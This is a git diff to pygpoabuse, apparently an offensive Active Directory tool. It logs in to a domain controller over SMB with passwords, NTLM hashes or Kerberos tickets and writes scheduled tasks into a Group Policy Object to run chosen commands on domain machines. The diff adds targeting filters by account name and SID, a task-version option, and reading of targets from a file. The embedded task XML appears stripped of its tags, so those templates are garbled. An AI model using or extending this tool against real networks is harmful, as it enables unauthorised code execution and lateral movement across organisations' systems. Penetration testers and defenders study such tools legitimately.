diff --git a/.gitignore b/.gitignore index c85601c..805e104 100644 --- a/.gitignore +++ b/.gitignore @@ -8,6 +8,7 @@ __pycache__/ # Virtual Environement venv +.venv/ # Distribution / packaging .Python diff --git a/pygpoabuse.py b/pygpoabuse.py index 4553fe8..6146ef9 100755 --- a/pygpoabuse.py +++ b/pygpoabuse.py @@ -11,10 +11,8 @@ import logging import re import sys - from impacket.smbconnection import SMBConnection from impacket.examples.utils import parse_credentials - from pygpoabuse import logger from pygpoabuse.gpo import GPO @@ -39,6 +37,12 @@ parser.add_argument('-ccache', action='store', help='ccache file name (must be in local directory)') parser.add_argument('-f', action='store_true', help='Force add ScheduleTask') parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)') +parser.add_argument('-FilterUser', action='count', default=0, help='Add user filter to GPO') +parser.add_argument('-FilterComputer', action='count', default=0, help='Add computer filter to GPO') +parser.add_argument('-Samaccount', action='store', help='Samaccount name from filter') +parser.add_argument('-SID', action='store', help='SID object') +parser.add_argument('-TV', action='store', default="1.4", help='Task version by default 1.4') +parser.add_argument('-file', type=str, help='File with Samaccoun:SID to add mor than one filter') if len(sys.argv) == 1: parser.print_help() @@ -46,6 +50,41 @@ options = parser.parse_args() + +if options.FilterComputer: + if getattr(options, 'Samaccount', None) and getattr(options, 'SID', None): + archivo = "NOT_NEEDING" + + elif options.file: + try: + archivo = open (options.file, "r") + archivo.close() + except: + print("The input file doesn't exist") + exit() + else: + print("You need add the computer's SID and samaccount which is going to apply the filters or a file with samaccount:SID") + exit() +elif options.FilterUser: + if getattr(options, 'Samaccount', None) and getattr(options, 'SID', None): + archivo = "NOT_NEEDING" + elif options.file: + try: + archivo = open (options.file, "r") + archivo.close() + except: + print("The input file doesn't exist") + exit() + else: + print("You need add the user's SID and samaccount who is going to apply filters or a file with samaccount:SID") + exit() +else: + if getattr(options, 'Samaccount', None) and getattr(options, 'SID', None): + print("You need the flag -FilterUser or -FilterComputer if you want user -Samaccount and -SID for a filter") + exit() + user_sid="None" + samaccount="None" + if not options.gpo_id: parser.print_help() sys.exit(1) @@ -96,16 +135,6 @@ url = '{}+ntlm-nt://{}\\{}:{}@{}'.format(protocol, domain, username, options.hashes.split(":")[1], dc_ip) lmhash, nthash = options.hashes.split(":") - -def get_session(address, target_ip="", username="", password="", lmhash="", nthash="", domain=""): - try: - smb_session = SMBConnection(address, target_ip) - smb_session.login(username, password, domain, lmhash, nthash) - return smb_session - except Exception as e: - logging.error("Connection error") - return False - try: smb_session = SMBConnection(dc_ip, dc_ip) if options.k: @@ -117,6 +146,11 @@ def get_session(address, target_ip="", username="", password="", lmhash="", ntha sys.exit(1) try: + if options.file: + archivo = options.file + else: + archivo = "NOT_NEEDING" + gpo = GPO(smb_session) task_name = gpo.update_scheduled_task( domain=domain, @@ -127,14 +161,36 @@ def get_session(address, target_ip="", username="", password="", lmhash="", ntha powershell=options.powershell, command=options.command, gpo_type="user" if options.user else "computer", + filtercomputer=options.FilterComputer, + filteruser=options.FilterUser, + samaccount=options.Samaccount, + user_sid=options.SID, + task_version=options.TV, + archivo=archivo, force=options.f ) if task_name: - if gpo.update_versions(url, domain, options.gpo_id, gpo_type="user" if options.user else "computer",): - logging.info("Version updated") + if options.FilterUser or options.FilterComputer: + if gpo.update_versions(url, domain, options.gpo_id, "user" if options.user else "computer", options.Samaccount, options.SID, options.TV, archivo): + logging.info("Version updated") + else: + logging.error("Error while updating versions") + sys.exit(1) else: - logging.error("Error while updating versions") - sys.exit(1) - logging.success("ScheduledTask {} created!".format(task_name)) + if gpo.update_versions(url, domain, options.gpo_id, gpo_type="user" if options.user else "computer", samaccount="None", user_sid="None", task_version="1.3", archivo="NOT_NEEDING"): + logging.info("Version updated") + else: + logging.error("Error while updating versions") + sys.exit(1) + logging.success("ScheduledTask {} created!".format(task_name)) except Exception as e: logging.error("An error occurred. Use -vv for more details", exc_info=True) + +def get_session(address, target_ip="", username="", password="", lmhash="", nthash="", domain=""): + try: + smb_session = SMBConnection(address, target_ip) + smb_session.login(username, password, domain, lmhash, nthash) + return smb_session + except Exception as e: + logging.error("Connection error") + return False diff --git a/pygpoabuse/gpo.py b/pygpoabuse/gpo.py index 1383afd..e05412e 100755 --- a/pygpoabuse/gpo.py +++ b/pygpoabuse/gpo.py @@ -107,9 +107,8 @@ async def update_ldap(self, url, domain, gpo_id, gpo_type="computer"): return updated_version - def update_versions(self, url, domain, gpo_id, gpo_type): + def update_versions(self, url, domain, gpo_id, gpo_type, samaccount, user_sid, task_version, archivo): updated_version = asyncio.run(self.update_ldap(url, domain, gpo_id, gpo_type)) - if not updated_version: return False @@ -148,8 +147,7 @@ def _check_or_create(self, base_path, path): return False return True - def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", description="", powershell=False, command="", gpo_type="computer", force=False): - + def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", description="", powershell=False, command="", gpo_type="computer", force=False,filteruser=0, filtercomputer=0, samaccount="None", user_sid="None", task_version="1.3", archivo="NOT_NEEDING"): try: tid = self._smb_session.connectTree("SYSVOL") logging.debug("Connected to SYSVOL") @@ -179,8 +177,7 @@ def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", descriptio try: fid = self._smb_session.openFile(tid, path) st_content = self._smb_session.readFile(tid, fid, singleCall=False).decode("utf-8") - st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, - powershell=powershell, command=command, old_value=st_content) + st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command, old_value=st_content, filteruser=filteruser, filtercomputer=filtercomputer, samaccount=samaccount, user_sid=user_sid, task_version=task_version,archivo=archivo) tasks = st.parse_tasks(st_content) if not force: @@ -202,7 +199,7 @@ def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", descriptio except: logging.error("This user doesn't seem to have the necessary rights", exc_info=True) return False - st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command) + st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command, filteruser=filteruser, filtercomputer=filtercomputer, samaccount=samaccount, user_sid=user_sid, task_version=task_version, archivo=archivo) new_content = st.generate_scheduled_task_xml() try: diff --git a/pygpoabuse/scheduledtask.py b/pygpoabuse/scheduledtask.py index 8c24919..4c394e4 100755 --- a/pygpoabuse/scheduledtask.py +++ b/pygpoabuse/scheduledtask.py @@ -11,8 +11,15 @@ class ScheduledTask: - def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value=""): + def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value="", filteruser=0, filtercomputer=0, samaccount="None", user_sid="None",task_version="1.3", archivo="NOT_NEEDING"): self._type = gpo_type + self._filteruser=filteruser + self._filtercomputer=filtercomputer + self._samaccount=samaccount + self._user_sid=user_sid + self._task_version = task_version + if archivo != "NOT_NEEDING" : + self._archivo = open(archivo, "r") if name: self._name = name @@ -49,9 +56,40 @@ def __init__(self, gpo_type="computer", name="", mod_date="", description="", po self._task_str_begin = f"""""" if self._type == "computer": - self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true""" + if self._filtercomputer ==0: + self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true""" + elif archivo == "NOT_NEEDING" : + self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" + else: + aux = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" + for linea in self._archivo: + linea = linea.strip() + if linea: + partes = linea.split(":") + if len(partes) ==2: + samaccount=partes[0] + user_sid=partes[1] + aux +=f"""""" + aux += """""" + self._task_str = aux + else: - self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" + if self._filteruser ==0: + self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" + elif archivo == "NOT_NEEDING": + self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" + else: + aux = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" + for linea in self._archivo: + linea = linea.strip() + if linea: + partes = linea.split(":") + if len(partes) ==2: + samaccount=partes[0] + user_sid=partes[1] + aux +=f"""""" + aux += """""" + self._task_str = aux self._task_str_end = f""""""